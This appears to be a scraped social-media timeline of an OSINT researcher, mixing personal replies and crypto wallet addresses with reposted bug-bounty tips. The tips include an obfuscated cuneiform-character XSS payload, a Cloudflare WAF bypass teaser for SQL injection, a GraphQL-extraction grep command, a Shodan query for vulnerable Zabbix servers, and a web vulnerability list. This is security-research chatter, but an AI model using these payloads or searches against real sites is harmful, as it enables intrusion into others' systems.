Dhanush

OSINT | Threat Intel | Researcher

[0x6rss @0x6rss]

My blog is now live: "The Close Relationship Between Telegram Bots and Threat Actors"

new stealers, their log structures, telegram bot C2 infrastructure, and threat actors who hacked themselves while building their own

👉 https://t.co/dArAo5wKyr

happy hunting!

[Dhanush @legionfdh]

@Charan200501 @NammaBESCOM @grok Hey @grok can you list all the area names

[Dhanush @legionfdh]

@connorcrd @grok he he

[spread love @Itumeleng_Les]

https://t.co/OBrx2U2L4p

[Dhanush @legionfdh]

@JackKenn1945 @ElonMuskNews47 @grok is this true

[Dhanush @legionfdh]

Use 91 before using

[Kirill Firsov @k_firsov]

How to bypass Cloudflare WAF?
@FearsOff #bugbountytips #cloudflare #waf #bypass

1. Found an SQL injection but getting blocked by Cloudflare?
Here's a pro tip 😏

[VIEH Group @viehgroup]

an XSS payload, Cuneiform-alphabet based

𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],
𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]
+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]
+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()

#bugbounty #bugbountytips #cybersecurity

[Het Mehta @hetmehtaa]

Top 100+ Web Vulnerabilities, Categorised Into Various Types:

> Injection Vulnerabilities
1. SQL Injection (SQLi)
2. Cross-Site Scripting (XSS)
3. Cross-Site Request Forgery (CSRF)
4. Remote Code Execution (RCE)
5. Command Injection
6. XML Injection
7. LDAP Injection
8. XPath Injection
9. HTML Injection
10. Server-Side Includes (SSI) Injection
11. OS Command Injection
12. Blind SQL Injection
13. Server-Side Template Injection (SSTI)
14. CRLF Injection
15. NoSQL Injection
16. HQL Injection

> Broken Authentication and Session Management
17. Session Fixation
18. Brute Force Attack
19. Session Hijacking
20. Password Cracking
21. Weak Password Storage
22. Insecure Authentication
23. Cookie Theft
24. Credential Reuse
25. Insecure Login Pages
26. Insecure Session IDs
27. Predictable Login Credentials

> Sensitive Data Exposure
28. Inadequate Encryption
29. Insecure Direct Object References (IDOR)
30. Unencrypted Data Storage
31. Missing Security Headers
32. Insecure File Handling
33. Information Leakage in Logs
34. Hardcoded Secrets

> Security Misconfiguration
35. Default Passwords
36. Directory Listing
37. Unprotected API Endpoints
38. Open Ports and Services
39. Misconfigured Error Handling
40. Stack Traces Exposed
41. Verbose Error Messages
42. Insecure Default Configurations
43. Insufficient Backup Procedures
44. Misconfigured Security Headers (e.g., X-Frame-Options)

> Improper Access Controls
45. Information Disclosure
46. Unpatched Software
47. Misconfigured CORS
48. HTTP Security Headers Misconfiguration
49. Lack of Access Control on Administrative Interfaces
50. Directory Traversal
51. Weak File Permissions

> XML-Related Vulnerabilities
52. XML External Entity (XXE) Injection
53. XML Entity Expansion (XEE)
54. XML Bomb
55. XML Signature Wrapping

> Broken Access Control
56. Inadequate Authorization
57. Privilege Escalation
58. Forceful Browsing
59. Missing Function-Level Access Control
60. Unvalidated Redirects and Forwards
61. Excessive Data Exposure

> Insecure Deserialization
62. Remote Code Execution via Deserialization
63. Data Tampering
64. Object Injection
65. Type Confusion

> API Security Issues
66. Insecure API Endpoints
67. API Key Exposure
68. Lack of Rate Limiting
69. Inadequate Input Validation
70. Lack of Proper Authentication
71. Improper API Endpoint Security

> Insecure Communication
72. Man-in-the-Middle (MITM) Attack
73. Insufficient Transport Layer Security (TLS)
74. Insecure SSL/TLS Configuration
75. Insecure Communication Protocols
76. Deprecated Cryptographic Algorithms
77. Lack of Encryption in Transit

> Client-Side Vulnerabilities
78. DOM-based XSS
79. Insecure Cross-Origin Communication
80. Browser Cache Poisoning
81. Clickjacking
82. HTML5 Security Issues
83. Client-Side URL Redirection
84. Form Hijacking
85. WebSocket Security Issues

> Denial of Service (DoS)
86. Distributed Denial of Service (DDoS)
87. Application Layer DoS
88. Resource Exhaustion
89. Slowloris Attack
90. XML Denial of Service
91. HTTP Flood Attack
92. UDP Amplification Attack

> Other Web Vulnerabilities
93. Server-Side Request Forgery (SSRF)
94. HTTP Parameter Pollution (HPP)
95. Insecure Redirects and Forwards
96. File Inclusion Vulnerabilities (LFI/RFI)
97. Security Header Bypass
98. Inadequate Session Timeout
99. Insufficient Logging and Monitoring
100. Business Logic Vulnerabilities
101. API Abuse
102. JSON Web Token (JWT) Security Issues
103. Insufficient Anti-Automation Measures

> Mobile Web Vulnerabilities
104. Insecure Data Storage on Mobile Devices
105. Insecure Data Transmission on Mobile Devices
106. Insecure Mobile API Endpoints
107. Mobile App Reverse Engineering
108. Weak Mobile Authentication and Authorization

[bugoverflow @bugoverfl0w]

How to grab all Graphql query/mutation if introspection disabled?

1. Download all js files to directory js_files
2. Run this command:
grep -Eo '(query|mutation) [a-zA-Z0-9_]+\(' js_files -R

1/n
#bugbountytips #graphql

[Dhanush @legionfdh]

@ZeptoNow it’s been 30 minutes. Still I’m waiting

30E6ABKSJ05810

[Dhanush @legionfdh]

🚨 New OSINT Tool for Telegram Threat Discovery
🔗 https://t.co/PtZCJJuWVV
I just released a lightweight Telegram OSINT tool that helps analysts and researchers:

#osint #threatintel #cybersecurity #telegram #python #infosec #OpenSourceWeek

[Dhanush @legionfdh]

@HunterMapping 🚨Alert🚨CVE-2024-42327 (CVSS 9.9): Critical SQL Injection Vulnerability Found in Zabbix

SHODAN: http.component:"Zabbix"

[Dhanush @legionfdh]

@dogs_airdrop UQC2jL3SbbyFQbbv7Do4oiuCs2nZmVHFpBd_YBHl2fzH6fHq

[Dhanush @legionfdh]

@rockyrabbitio Kk oak

[Dhanush @legionfdh]

@rockyrabbitio Nice

[Dhanush @legionfdh]

@Whalepump BBDcedPGrpxTzN9fxgwsTkjVBn2oc7F2apSvk2mbxLK2

Its under 500 will see after comment on more 50 tweets never got an airdrop from any one

[Dhanush @legionfdh]

@Whalepump BBDcedPGrpxTzN9fxgwsTkjVBn2oc7F2apSvk2mbxLK2